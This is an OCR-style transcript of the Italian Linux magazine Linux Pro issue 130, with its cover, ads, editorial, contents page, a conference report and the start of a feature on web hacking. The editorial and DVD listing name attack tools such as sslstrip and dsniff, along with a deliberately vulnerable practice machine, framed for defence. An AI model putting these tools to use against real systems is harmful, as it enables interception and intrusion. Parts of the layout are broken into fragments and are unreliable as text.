Linuxpro 130 Giugno 2013

100

Click here to load reader

description

linux magazine

Transcript of Linuxpro 130 Giugno 2013

Page 1: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/mod-ules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”mast-head”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.double-click.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x-90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 ac-tive”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/dis-tros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-front-page’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attac-chi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggi-ungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni person-ali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e pro-teggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è

Inoltre…Ruby Alla scoperta di questo versatile linguaggioPython Facciamo parlare i processi fra di loroAndroid Comunicare con i dispositivi via Bluetooth

Windows e SAMBA

Media Center ubiquo

Registra lo schermo

Dnsmasq Per creare un server DNS in modo semplice e veloce

Samsung Galaxy S4 è arrivato lo smartphone più tecnologico del pianeta!

Far dialogare Linux e Windows è facilissimo con Samba 4!

XBMC gestisce tutti i file multimediali, anche su Raspberry Pi e Apple TV

Con Kazam registri quello che fai in Linux e crei pratici tutorial video

Riscopri Linux

digiKamCondividere e lavorare sui file multimediali in famiglia

hackingIl tuo sito è in pericolo: i pirati stanno per rubarti le password

Proteggiti dagli attacchi DDOS e dalle vulnerabilità del Web!

Diventa protagonista nel mondo Linux

∆ Lo stack LAMP ∆ Accedere in remoto a Linux via SSH ∆ Arduino Due

Pro

Linu

x Pr

o 13

0- M

ensi

le -

€5,

90 -

CHF

13,

60

FOTORITOCCOLinux è il sistema operativo perfetto per lavorare con le foto: ecco i programmi migliori

BASTA WORD!Con Markdown, converti i tuoi file in formato Word da riga di comando

Raspberry Pi Prepariamo

una distro dedicata!

14 pagine di pura programmazione

AccAdemiA del codice

Tari

ffa

r.O

.C. -

PO

sTe

iTal

ian

e sP

a -

abb

. PO

sT. -

D.l

. 353

/200

3 (C

On

v. in

l. 2

7/02

/200

4 n

. 46)

arT

. 1, C

Om

ma

1, D

Cb

mil

anO

- D

isTr

ibuT

Ore

: Pre

ss-D

i, m

ilan

O

LXP130_cover.indd 1 06/06/13 14:53

Page 2: Linuxpro 130 Giugno 2013

* 1&1 Cloud Server Dinamico senza canone fi sso mensile. Prezzo di 1 cent/ora IVA escl. (1,19 cent/ora IVA incl.) per unità. Confi gurazione minima di 3 unità (1 vCore, 1 GB di RAM e 100 GB di Hard Disk) al prezzo totale di 3 cent/ora IVA escl. (3,57 cent/ora IVA incl.). Confi gurazione manuale su hosting.1and1.it/cloud-server-confi g.** Il buono dal valore massimo di 30 € sarà accreditato e applicato solo sull‘importo netto della prima fattura mensile. Offerta limitata nel tempo. Per maggiori informazioni visita il sito 1and1.it.

MASSIMA FLESSIBILITÀ■ Confi gura separatamente vCore, RAM e spazio Hard Disk a soli 0,01 €/ora IVA escl. per unità!*

■ NOVITÀ: fi no a 8 vCore e 32 GB di RAM

■ Aggiungi in pochi clic fi no a 99 macchine virtuali in un solo contratto

A PROVA DI GUASTI■ Archiviazione e unità di calcolo ridondanti per proteggere il tuo server da eventuali guasti

* 1&1 Cloud Server Dinamico senza canone fi sso mensile. Prezzo di 1 cent/ora IVA escl. (1,19 cent/ora IVA incl.) per unità. Confi gurazione minima di 3 unità (1 vCore, 1 GB di RAM e

1and1.it800 977313 (numero verde)

DOMINIO | E-MAIL | WEB HOSTING | SERVER

IVA ESCL.PER OGNI ORA*

0,03€ A PARTIRE DA

IVA ESCL.PER OGNI ORA*

ACCESSO DI ROOT COMPLETO■ Amministrazione di root del tuo server cloud e risorse dedicate

1&1 CLOUD SERVER DINAMICOLA POTENZA GIUSTAAL GIUSTO PREZZO!

®

207X285

■ NOVITÀ: nessun costo di attivazione!

■ NOVITÀ: nessun prezzo di base!

■ NOVITÀ: nessuna durata minima di contratto!

■ Solo per poco tempo: fi no a 30 € di buono!**

■ Accurata tariffazione ad ore

■ Traffi co illimitato senza riduzione della capacità di banda

■ Parallels® Plesk Panel 11 incluso con domini illimitati

CONTROLLO COMPLETO DEI COSTI

DE100020100312_MAIT1306HN38_1-1_Server_Ad_Italy_207x285+5_RD_0713_28L.indd 1 21.05.13 10:39

Page 3: Linuxpro 130 Giugno 2013

LINUX PRO 130 1

Domande alla redazione: [email protected]

Abbonamenti: [email protected]

Arretrati: [email protected]

Problemi con il DVD: [email protected]

Sito Web: www.linuxpro.it Oppure inviate le vostre lettere a: Linux Pro, Sprea Editori S.p.A.,

Via Torino 51, 20063 Cernusco S/N Telefono: 02.92432.1

CONTATTI

In edicola!In edicola!

Editoriale

ORA TROVI LINUX PRO

ANCHESU ANDROID

La natura mutante delle minacceIl Web è diventato nel tempo una parte integrante della nostra vita. La strada da fare è ancora molta,

ma già ora è per molti uno dei punti di riferimento per lo shopping, per i contatti con la banca, per le comunicazioni, il divertimento e anche il lavoro. Anzi, con l’incredibile diffusione di smartphone e tablet ormai ci portiamo Internet in tasca tutto il giorno. Se volgiamo lo sguardo indietro nel tempo a trent’anni fa tutto questo (assieme alle macchine volanti) era scritto nei libri di fantascienza, ora invece lo possiamo toccare con mano. Con tutta questa tecnologia sono cambiate anche le nostre abitudini nell’uso del PC e allo stesso modo sono cambiati i pericoli legati all’informatica. Pochi numeri fa vi abbiamo mostrato come configurare i vostri dispositivi mobile (smartphone, tablet, portatili) così da far fronte nel miglior modo possibile a un eventuale furto o accesso fisico non autorizzato. In questo numero, invece, l’articolo di copertina vi spiega come funzionano i nuovi pericoli che corre chi ha un sito Web: oramai i virus non sono più lo spauracchio che erano un tempo (anche se un buon antivirus è ancora necessario, soprattutto su certi sistemi) ma le minacce più pericolose hanno cambiato natura. Quindi vedrete come rilevare le vulnerabilità di un sito fatto in WordPress, come funzionano gli attacchi man in the middle e, infine, cosa fare se qualche malintenzionato decide di muovere un attacco chiamato DDOS atto a rendere inaccessibile

il vostro sito Web. GNU/Linux è la piattaforma migliore per fare esperimenti: difatti, per toccare con mano quanto spiegato, nel DVD allegato abbiamo inserito una macchina virtuale Linux, da usare con VirtualBox, con alcune delle falle di sicurezza che potete trovare in Internet, con cui mettere in atto le tecniche che vi sveliamo. Passando ad argomenti più leggeri, invece, vi raccomandiamo di leggere l’articolo su XBMC e di provare subito questo fantastico software: funziona ovunque, su GNU/Linux, Mac OS X, Windows, sulla Raspberry Pi, sull’Apple TV craccata e in altri sistemi ancora. Insomma, non avete scuse per non provare questo media center che, vista la concorrenza, non possiamo che definire “definitivo”: non ve ne pentirete! Tra i tutorial, poi, ci piace evidenziare le due guide di pagina 60 e 66. La prima è dedicata a Kazam, un pratico tool per chi ha la necessità di realizzare videotutorial da diffondere in Rete o da mostrare durante un incontro organizzato dal vostro LUG. Il secondo, invece, è per chi, come noi, ama scrivere i testi con gli editor più strani (o classici per il mondo Linux ma meno usuali per il resto del mondo) dovendosi però interfacciare con chi usa programmi d’ufficio del mondo Microsoft. Con Markdown e altri tool Open Source potrete trasformare i vostri file TXT in file Doc imparando nel frattempo un mucchio di cose. Non finiremo mai di dirlo: evviva l’Open Source e la libertà di fare le cose che ci offre. Buona lettura.

6,98 cm

Lo controlli con lo sguardo

e i gesti della mano

Solo 130 grammi di peso!

5” di schermo Full-HD

e risoluzione 1920x1080

Che bomba di processore!

Quad Core 1,9 GHz

Foto da urlo con la

fotocamera da 13Mpixel

17 ore di conversazione

garantite di autonomia

9 sensori per rendere

unico il tuo Galaxy S4

ECCo lo SMartpHonE CHE battE l’ipHonE 5!

SiStEMa

opErativo

anDroiD

app E aCCESSori

per renderlo unico!

0,79 cm

13,66 cm

000_SPS4_COVER 2.indd 1

03/06/13 17:24

LXP130_01_editoriale 1 10/06/13 18:18

Page 4: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/mod-ules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sites-tat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javas-cript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li

2 LINUX PRO 130

Sommario

SommarioBenvenuti nel centotrentesimo numero di Linux Pro, la vostra guida definitiva a Linux e al mondo Open Source

LINUX PRO 130 LINUX PRO

In primo piano

14 Samba 20 XBMC 24 Jacob Kaplan-Moss

I segreti degli

HackerFra attacchi DDOS e furto delle

password, i pirati informatici sono diventati fra i personaggi più discussi del momento. Vediamo come operano e come portano a segno i loro colpi...

06

LXP130_02-03_sommario.indd 2 10/06/13 15:26

Page 5: Linuxpro 130 Giugno 2013

LINUX PRO 130 3

Sommario

04 NewsdeskLe novità del mondo Open Source

Approfondimenti 06 HackingUn viaggio in questo “mondo di ladri”

14 Samba La versione 4 supporta Active Directory

20 XMBCUna fantastica applicazione per tutti i vostri contenuti multimediali

24 IntervistaQuattro chiacchiere con Jacob Kaplan-Moss, uno dei creatori di Django

28 Trucchi per sysadminContinua il corso per amministratori

Android

34 NewsTutte le novità sul sistema di Google

36 Smartpad Mobile 8”Un tablet dalle dimensioni perfette

37 Galaxy S4Molto potente e anche molto sottile

Recensioni

40 I test del meseChakra 2013.02; Enlightenment E17; Arduino Due; In libreria

44 ConfrontoTool di ritocco fotografico

50 Da non perdereNove programmi da provare subito!

Tutorial

56 digiKamCondividete e lavorate sui vostri album tra dispositivi diversi

60 KazamUn metodo divertente per creare video e aiutare gli altri nel processo di apprendimento

64 NetworkingCreare un server server DNS con dnsmasq

66 Editing del testoMarkdown vi faciliterà la vita

70 Rasperberry PiI passi per creare una distro dedicata

74 UdevScopriamo i segreti del sistema operativo

76 Secure ShellComunicazione sicura tra due sistemi

Accademia

78 Concetti di baseUtilizzare un ambiente di sviluppo

80 RubyPrimi passi per usare questo linguaggio

84 Python Facciamo comunicare gli script

88 AndroidUtilizzare il Bluetooth per far parlare il telefono con gli altri dispositivi

92 L’eco dei LUG

94 Guida softwareGuida al software presente nel DVD

Quando trovi questo bollo negli articoli, cerca il software nel DVD

PROdentro il

IL DVD IN BREVELATO A∆ DISTRIBUZIONI ∆ Ubuntu 13.04 (32 e 64 bit)∆ Ubuntu GNOME (32 e 64 bit)∆ RIVISTA ∆ Codice tutorial Android ∆ Codice tutorial Python∆ justsniffer 0.5.11 ∆ dsniff 2.3∆ Linux Pro Vulnerable Machine ∆ sslstrip 0.9 ∆ ZAP 2.0 ∆ Blobby2 1.0rc3 ∆ Easystroke 0.6.0∆ Gource 0.40 ∆ Gummi 0.6.5∆ JOSM ∆ JVGS 0.5∆ Onboard 0.98.2 ∆ Pinta 1.4∆ Quassel 0.9.0 ∆ digiKam 3.2.0∆ Kazam 1.4.3 ∆ Markdown 1.0.1

LATO B∆ DISTRIBUZIONI∆ Debian 7.0 (32 bit)

24 Jacob Kaplan-Moss 28 Trucchi per sysadmin

3

ABBONATI ALLA VERSIONE DIGITALE

A SOLI 14,90 €DURATA ABBONAMENTO 1 ANNO

SOLO PER PC E MAC

www.sprea.it/digital

VERSIONE DIGITALE

www.sprea.it/digital

LINUX PRO 126

LINUX

Pro

Cosa trovi nel

debian 7.0 >> UbUntU gnome 13.04

LINUX PRO 130

8GB

LINUXPro

la distro nata per

sconfiggere windows

ubuntu 13.04

RD_LXP130_bustinaDVD.indd 1

24/05/13 15:33

IL DVD IN BREVEIL DVD IN BREVE

IL PROSSIMO NUMERO ESCE ILNUMERO ESCE IL

19 LUGLIO

LXP130_02-03_sommario 3 06/06/13 17:25

Page 6: Linuxpro 130 Giugno 2013

4 LINUX PRO 130

NewsdeskOgni mese tutte le novità dal mondo delle aziende e della comunità Open Source

Reportage

Grande successo per la manifestazione Software Etico

Prima manifestazione di caratura “istituzionale” promossa dall’Associazione JoomlaLombardia

e ospitata presso l’Uffi cio Europeo di via Magenta 59 a Milano, la conferenza dal titolo Software Etico ha centrato tutti gli obiettivi che si era proposta. Già alle 9.30 dello scorso 17 maggio, la sala era gremita da spettatori che hanno seguito il fi tto calendario di interventi: scopo principale era quello di spiegare ad Associazioni, Istituzioni, rappresentanti di cooperative, ecc. come il software a sorgenti aperti (e quindi legalmente copiabile, modifi cabile e ridistribuibile) sia un modello di sviluppo sostenibile, “eticamente” giusto, qualitativamente superiore e commercialmente funzionale. L’utilizzo di Software Libero è a “doppia vincita”: vince il cliente fi nale che lo utilizza in quanto risparmia il costo della licenza e vince altresì il professionista che fornisce assistenza in quanto

utilizza un software la cui qualità è provata, oltre al fatto di poter personalizzare il prodotto in base alle esigenze del cliente, una attività impossibile nel caso si utilizzi software proprietario. Gli unici che perdono in questo tipo di attività sono i soliti noti e cioè le varie multinazionali del software, gli alfi eri dei formati chiusi, coloro che ci vogliono tenere nel “recinto” del quale non possiamo avere le chiavi.

Nessuno fa niente per niente...Per fare un esempio, Microsoft regala licenze di Windows e Microsoft Offi ce alle scuole primarie, ma non lo fa certo per fi lantropia: gli serve semplicemente per “formare” futuri clienti. Dire no al software proprietario comporta un piccolo sacrifi cio oggi per avere una grossa libertà domani. La conferenza è terminata dopo un fi tto scambio di “domande e risposte” tra oratori e pubblico, che ha avuto soddisfatte tutte le curiosità emerse. A manifestazione

L’intervento dell’On. Patrizia Toia, deputata al Parlamento EuropeoLa locandina della manifestazione

LXP130_04-05_news 4 06/06/13 15:25

Page 7: Linuxpro 130 Giugno 2013

Newsdesk

conclusa, molti spettatori si sono trattenuti per chiacchierare con i membri di JoomlaLombardia, che si sono concessi per un ulteriore giro di domande e risposte. Un imprecisato numero di persone si è avvicinato all’Associazione e speriamo vadano a ingrossare le sue fi la: per quanto si tratti di un gruppo “neonato”, JoomlaLombardia ha dimostrato di avere le carte in regola per giocare in modo professionale nel campo dei servizi informatici basati su programmi Open. Infatti le attività dell’associazione non si fermano qui, ma proseguiranno sulla strada della cooperazione sia con le con le “sorelle” come JoomlaVeneto. Inoltre, anche se lo scopo principale dell’associazione

è la diffusione di Joomla, la crescita della “cultura” del Software Libero è vantaggiosa per tutti, per cui sono in fase di implementazione delle collaborazioni con tutti coloro che si rifanno agli ideali della condivisione, solidarietà e “giustizia” del software.

Un intervento di spessoreA latere della manifestazione, ci piace ricordare l’intervento del On. Patrizia Toia, che ha sottolineato come

la spinta “dal basso” promossa da migliaia di Associazioni e singoli privati abbia qualche mese fa permesso al Parlamento Europeo - digiuno di competenze informatiche - di capire quale pericolo fosse la brevettabilità del software che qualche amico delle multinazionali voleva

introdurre anche nel Vecchio Continente: la sonora bocciatura di tale proposta è un chiaro segno di come i nemici del progresso siano sempre pronti a portare avanti i loro interessi a scapito della collettività, ma altrettanto di come la Rete abbia “democratizzato” l’Europa e dato voce a chi prima non l’aveva, permettendo di entrare in contatto con chi ci amministra e di informarlo di quale sciagura sarebbe stata per tutti noi l’adozione di una tale posizione: brevettare il software è come brevettare le parole o le idee. Tutto ciò è assurdo e ognuno di noi è chiamato a vigilare contro i continui assalti da parte dei “dinosauri” dei brevetti contro la libertà. Chi usa software proprietario e “formati chiusi” danneggia se stesso ma soprattutto chi gli sta intorno: digli di smettere! Roberto Premoli

Cosa è JoomlaLombardiaNata da poco più di un anno, grazie alla tenacia e all’entusiasmo dei suoi soci fondatori JoomlaLombardia ha già al suo attivo più di cento iscritti, promuove la diffusione di Joomla (e più in generale, del software a sorgenti aperti) e offre corsi gratuiti per i soci su Joomla ma anche su altre tematiche legate al Software Libero. Iscriversi è facile, il sito www.joomlalombardia.org fornisce tutti i dettagli, il calendario dei costi, e le attività pianifi cate.

“Sempre più persone abbandonano i costosi software proprietari a favore di quelli a Sorgenti Aperti di qualità”

NUOVANUOVA

LA TUA PALESTRALA TUA PALESTRALA TUA PALESTRALA TUA PALESTRALA TUA PALESTRALA TUA PALESTRAPER LA MENTEPER LA MENTEPER LA MENTEPER LA MENTEPER LA MENTE

NUOVANUOVA

Quale numero va messo al posto del punto interrogativo?

IQ VISIVO

36

6 42 54

88

8 24 56

18

? 30 66

Soluzione: 6. Al centro del triangolo c’è il massimo comune divisore dei 3 numeri ai vertici.

LXP130_04-05_news 5 06/06/13 15:25

Page 8: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import 